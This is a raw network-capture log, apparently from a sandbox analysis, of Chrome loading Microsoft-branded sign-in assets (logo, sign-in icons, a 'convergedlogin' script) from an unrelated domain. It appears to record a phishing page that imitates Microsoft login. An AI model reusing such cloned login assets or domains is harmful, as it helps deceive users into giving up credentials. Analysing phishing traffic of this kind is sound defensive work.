2024-04-26 20:18:27 UTC	1105	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116791 Cache-Control: public, max-age=31536000 Content-Md5: izYzcDfP+Iw98gO7c9WOQQ== Etag: 0x8DB5C3F457C234F Last-Modified: Wed, 24 May 2023 10:11:42 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 599bacf0-101e-007e-19d4-7e0a3b000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xi0Y2k%2Bz7KbCOU9LPZ%2BfekdzJ6q5FvFNOWGkjJH21WIKtbimH2GRA5fPESqTv5Mhvu9hY45j53Nx1S%2F%2BfDX1BluI9kqmIstJ976TGT9dLvtj0uICAYwUAxsD7n3XlhT7QWCONT4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431b6a5fa4c8-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	264	IN	Data Raw: 31 34 31 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 Data Ascii: 1413PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:0
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 70 3a 43 Data Ascii: "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:C
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 1b 9e b6 78 4e 33 67 6c 31 18 0c 5f 10 eb b9 73 67 3f 55 f5 60 90 21 b5 64 c9 92 0a 94 ef 6a 6e 6e 56 7a b9 61 32 1c aa 52 03 79 d7 d1 a3 47 5f a0 92 3c ae 3f f6 d5 b1 16 f1 d7 6c ee 6e 06 83 e1 06 12 ca ad 20 a9 51 d1 a8 4e 9b 36 6d 70 63 59 d9 fe d6 96 96 39 3a 6b 22 a2 0c d8 a6 f2 f2 52 d4 0e a0 de 8b 90 02 88 99 bb 9b c1 60 78 46 ac 58 82 23 3e a9 42 aa 2f bd f4 93 ed a6 76 e3 41 d4 c2 83 0e 21 bc 40 bd 17 de 2e 27 10 30 18 0c cf 88 55 90 d7 07 d4 25 b7 4d aa 6e 6c 14 09 4f 7a 31 95 5c 61 0f 42 1b dc e5 0c 06 c3 75 62 85 0a 00 59 4c 7e 25 d5 91 e4 4a 0d 0b 20 b4 c1 19 43 0c 06 c3 75 62 45 95 2a ea 43 d6 ae fd f1 9f bd 90 34 95 96 3e 5f 00 52 a7 dc a3 62 1f 83 c1 60 28 13 2b 62 90 d4 0d 2b 41 6e 5f 79 25 c2 87 6a 60 75 49 c9 fb 94 7b 90 49 c4 b1 56 06 Data Ascii: xN3gl1_sg?U`!djnnVza2RyG_<?ln QN6mpcY9:k"R`xFX#>B/vA!@.'0U%MnlOz1\aBubYL~%J CubE*C4>_Rb`(+b+An_y%j`uI{IV
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 79 4f bc 65 ea 5d 28 cf c6 86 b2 4c 66 60 d0 ed d3 b9 6a a1 6c 56 61 92 70 52 a5 8b 3d 56 46 a0 41 c9 ae 43 ec d1 e4 11 43 78 36 e4 80 3a df 3d e8 f6 e9 00 75 b3 0a b2 2a 6c ec 39 f9 4d 32 b1 52 d3 5f fd 0c 68 72 99 7a 82 0d ca 78 5d b0 60 81 71 e1 7a 7e fe e2 56 9d ef 1e 74 fb 74 ac 58 28 9b 55 54 59 15 7b ac 71 e0 77 4d 2e c3 39 90 8e 29 7b ad 1b 8a 97 50 38 d4 26 7b 2d 32 e1 c6 bb 7d 4e 41 d9 ac 52 91 55 69 23 56 37 1a c3 09 90 cf cc 74 c2 78 e0 15 f5 f4 48 6f 56 b8 91 49 16 ca 08 9d 92 7e 77 89 fd 82 a0 db e7 04 94 cd 2a 55 59 55 52 62 a5 68 d0 fc be 39 44 91 9d b0 26 37 f8 90 cd 2a a4 1e a3 ae 0a dd e4 16 74 fb 54 41 dd ac 52 95 55 25 25 56 9c bc 28 7b 03 45 ae e0 36 a8 a9 72 53 d2 a7 1c 67 ea 61 00 28 2e e4 b7 77 d2 f9 ad 05 dd be 91 40 78 84 b2 59 Data Ascii: yOe](Lf`jlVapR=VFACCx6:=ul9M2R_hrzx]`qz~VttX(UTY{qwM.9){P8&{-2}NARUi#V7txHoVI~wUYURbh9D&7*tTARU%%V({E6rSga(.w@xY
2024-04-26 20:18:27 UTC	776	IN	Data Raw: ba 7d 26 c6 87 0a bf 81 8c c7 3a 1b 6b 4c 62 b5 3b 8c 3a 33 79 0d dd a4 6a 93 9f f0 5c 9b 54 ee c5 e0 45 a1 9b 70 38 fc 9d ad 3d 04 e1 60 77 1d 92 aa 44 bb ff 20 66 d9 76 d7 41 ac e2 19 5d d4 0f 06 ef 88 9d 69 db b6 de bb bd 4b 07 fa fb b3 6d bb 08 03 dd 28 b1 aa 4e 8e a3 db d8 76 0c 46 f7 23 1c 03 61 ef 02 d9 4d 9c d1 6d 28 08 6b be 53 6f 2e e0 f6 19 19 1f 2a 13 12 c8 55 b4 45 c8 11 b1 da 3f 8e 63 64 55 1a 35 08 a4 6a 03 e1 09 27 5e a5 a2 2d 15 b2 1f 85 53 62 75 fa 61 3a 1c e8 c6 89 d5 8b 3e 94 21 1d 1c 64 a7 4b 30 1f 60 fb 8c 8d 0f 84 35 a8 fb 1a 88 d1 22 9c 10 ef ff 49 9f d2 8a 46 d9 b8 b1 6c a1 6a cc d5 ad 0e 2c 2f df fc 27 93 b5 00 54 a4 68 4e bc 07 93 b6 c4 83 6a 66 5a 2a 01 1f 83 ea c6 ac df 49 75 3c d8 67 02 f8 ce 10 d6 22 b6 73 3e 62 d4 8e 88 15 Data Ascii: }&:kLb;:3yj\TEp8=`wD fvA]iKm(NvF#aMm(kSo.UE?cdU5j'^-Sbua:>!dK0`5"IFlj,/'ThNjfZIu<g"s>b
2024-04-26 20:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49742	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:27 UTC	734	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:27 UTC	1145	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116791 Cache-Control: public, max-age=31536000 Content-Md5: nzaLxFgP7ZB3dfMcaybWzw== Etag: 0x8DB5C3F495F4B8C Last-Modified: Wed, 24 May 2023 10:11:48 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 938dd70e-b01e-001c-61d1-7e1e1d000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8AEZSXQPp9085cBLIkuYdf928tcavW4A99EaaU3vIYx6lJpzTcTb7aQv2gvC3Oo%2Fo1xpFvquMOZ9REBSwHfuyNrw%2FbxcmHNk7KnV6xwcW1WZW8LtsovRo0jyXVnEdx8uzZyQgKY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431bbee6a582-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	224	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.0
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 2c 30 2c 31 2c 2e 34 31 39 2d 2e 39 36 37 2c 31 2e 34 31 33 2c 31 2e 34 31 33 2c 30 2c 30 2c 31 2c 31 2d 2e 33 39 2c 31 2e 33 39 32 2c 31 2e 33 39 32 2c 30 2c 30 2c 31 2c 31 2e 30 32 2e 34 2c 31 2e 33 2c 31 2e 33 2c 30 2c 30 2c 31 2c 2e 34 2e 39 35 38 2c 31 2e 32 34 38 2c 31 2e 32 34 38 2c 30 2c 30 2c 31 2d 2e 34 31 34 2e 39 35 33 2c 31 2e 34 32 38 2c 31 2e 34 32 38 2c 30 2c 30 2c 31 2d 31 2e 30 31 2e 33 38 35 41 31 2e 34 2c 31 2e 34 2c 30 2c 30 2c 31 2c 34 37 2e 32 35 2c 36 2e 36 61 31 2e 32 36 31 2c 31 2e 32 36 31 2c 30 2c 30 2c 31 2d 2e 34 30 39 2d 2e 39 34 38 4d 34 39 2e 34 31 2c 31 38 2e 34 48 34 37 2e 30 38 31 56 38 2e 35 30 37 48 34 39 2e 34 Data Ascii: 58L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.4
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 31 2e 32 2d 32 2e 34 31 36 61 31 2c 31 2c 30 2c 30 2c 30 2c 2e 33 31 38 2e 37 38 35 2c 35 2e 34 32 36 2c 35 2e 34 32 36 2c 30 2c 30 2c 30 2c 31 2e 34 2e 37 31 37 2c 34 2e 37 36 37 2c 34 2e 37 36 37 2c 30 2c 30 2c 31 2c 31 2e 39 35 39 2c 31 2e 32 35 36 2c 32 2e 36 2c 32 2e 36 2c 30 2c 30 2c 31 2c 2e 35 36 33 2c 31 2e 36 38 39 41 32 2e 37 31 35 2c 32 2e 37 31 35 2c 30 2c 30 2c 31 2c 38 33 2e 32 2c 31 37 2e 37 39 34 61 34 2e 35 35 38 2c 34 2e 35 35 38 2c 30 2c 30 2c 31 2d 32 2e 39 2e 38 34 37 2c 36 2e 39 37 38 2c 36 2e 39 37 38 2c 30 2c Data Ascii: 89,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852,3.707,3.707,0,0,0-.707,2.43m11.2-2.416a1,1,0,0,0,.318.785,5.426,5.426,0,0,0,1.4.717,4.767,4.767,0,0,1,1.959,1.256,2.6,2.6,0,0,1,.563,1.689A2.715,2.715,0,0,1,83.2,17.794a4.558,4.558,0,0,1-2.9.847,6.978,6.978,0,
2024-04-26 20:18:27 UTC	696	IN	Data Raw: 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 30 37 2c 30 2c 30 2c 30 2d 2e 36 36 34 2d 2e 31 2c 31 2e 34 30 37 2c 31 2e 34 30 37 2c 30 2c 30 2c 30 2d 31 2e 31 32 36 2e 34 35 37 41 32 2e 30 31 37 2c 32 2e 30 31 37 2c 30 2c 30 2c 30 2c 39 39 2e 37 2c 37 2e 33 31 33 56 38 2e 35 30 37 68 33 2e 34 36 39 56 36 2e 32 38 33 6c 32 2e 33 33 39 2d 2e 37 31 32 56 38 2e 35 30 37 68 32 2e 33 35 38 76 31 2e 39 30 36 68 2d 32 2e 33 35 38 76 34 2e 36 32 39 61 31 2e 39 35 31 2c 31 2e 39 35 31 2c 30 2c 30 2c 30 2c 2e 33 33 32 2c 31 2e 32 39 2c 31 2e 33 32 36 2c 31 2e 33 32 36 2c 30 2c 30 2c 30 2c 31 2e 30 34 34 2e 33 37 35 2c 31 2e 35 35 37 2c 31 2e 35 35 37 Data Ascii: ,0,1,.577.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.107,0,0,0-.664-.1,1.407,1.407,0,0,0-1.126.457A2.017,2.017,0,0,0,99.7,7.313V8.507h3.469V6.283l2.339-.712V8.507h2.358v1.906h-2.358v4.629a1.951,1.951,0,0,0,.332,1.29,1.326,1.326,0,0,0,1.044.375,1.557,1.557
2024-04-26 20:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49744	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	734	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:28 UTC	1151	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:28 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116792 Cache-Control: public, max-age=31536000 Content-Md5: R2FAVxfpONfnQAuxVxXbHg== Etag: 0x8DB5C3F4BB4F03C Last-Modified: Wed, 24 May 2023 10:11:52 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 3f57a61e-d01e-001a-4fd1-7ee411000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sLFMBLMIi74zOOwICZ6EVHms5yVwxs%2FsTs2P%2Bcsh2TNoZak0sLEuaKogd%2FYq1iC%2BRcUsLE88bezD0PGtsXqUXxFUNi3Zy9n%2BAkvsYbTpcuRCMA0B8koUenVZuxHXV3ntAvnIAy0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94322bfa45c79-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:28 UTC	218	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V4
2024-04-26 20:18:28 UTC	1369	IN	Data Raw: 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c 31 2c 31 39 2c 33 30 61 31 30 2e 39 2c 31 30 2e 39 2c 30 2c 30 2c 31 2d 35 2e 35 34 37 2d 31 2e 35 2c 31 31 2e 31 30 36 2c 31 31 2e 31 30 36 2c 30 2c 30 2c 31 2d 32 2e 32 31 39 2d 31 2e 37 31 39 41 31 31 2e 33 37 33 2c 31 31 2e 33 37 33 2c 30 2c 30 2c 31 2c 39 2e 35 2c 32 34 2e 35 34 37 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2d 31 2e 31 30 39 2d 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 38 2c 31 39 61 31 30 2e 39 2c 31 30 2e 39 2c 30 2c 30 2c 31 2c 31 2e 35 2d 35 2e 35 34 37 2c 31 31 2e 31 30 36 2c 31 31 2e 31 30 36 2c 30 2c 30 2c 31 2c 31 2e 37 31 39 2d 32 2e 32 31 39 41 31 31 2e 33 37 Data Ascii: 0H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.37
2024-04-26 20:18:28 UTC	12	IN	Data Raw: 5a 22 2f 3e 3c 2f 73 76 67 3e 0d 0a Data Ascii: Z"/></svg>
2024-04-26 20:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49745	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	695	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_eb638da25d4055fbbb57.js HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1163	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:28 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 24044 Cache-Control: public, max-age=31536000 Content-Md5: V5EQEHVskNWHVMke8e4nZQ== Etag: 0x8DC2E5A3CC5D827 Last-Modified: Thu, 15 Feb 2024 19:13:48 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: ea206f3b-d01e-00da-32d1-7e6055000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k8hmf4mzZ5Rufv9GWUnTN2lwZbDXYB4NTEdqrbXMKW8rZTG4iOH12Jaumti4HHnyaT5ba%2FL%2FfMI%2FUEwyu6xa%2B7vQxlTWYE1kyCD5DNwP9pTyTUN6ViOuckEhG%2BZ%2FUMbZ0wt34Xg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94322da57db05-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	206	IN	Data Raw: 37 62 32 36 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 Data Ascii: 7b26/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 63 65 6e 73 65 20 75 6e 64 65 72 20 77 68 69 63 68 20 4d 69 63 72 6f 73 6f 66 74 20 72 65 63 65 69 76 65 64 20 73 75 63 68 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 2c 20 61 72 65 20 73 65 74 20 66 6f 72 74 68 20 62 65 6c 6f 77 2e 20 53 75 63 68 20 6c 69 63 65 6e 73 65 73 20 61 6e 64 20 6e 6f 74 69 63 65 73 20 61 72 65 20 70 72 6f 76 69 64 65 64 20 66 6f 72 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 70 75 72 70 6f 73 65 73 20 6f 6e 6c 79 2e 20 4d 69 63 72 6f 73 6f 66 74 20 6c 69 63 65 6e 73 65 73 20 74 68 65 20 54 68 69 72 64 20 50 61 72 74 79 20 49 50 20 74 6f Data Ascii: below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to
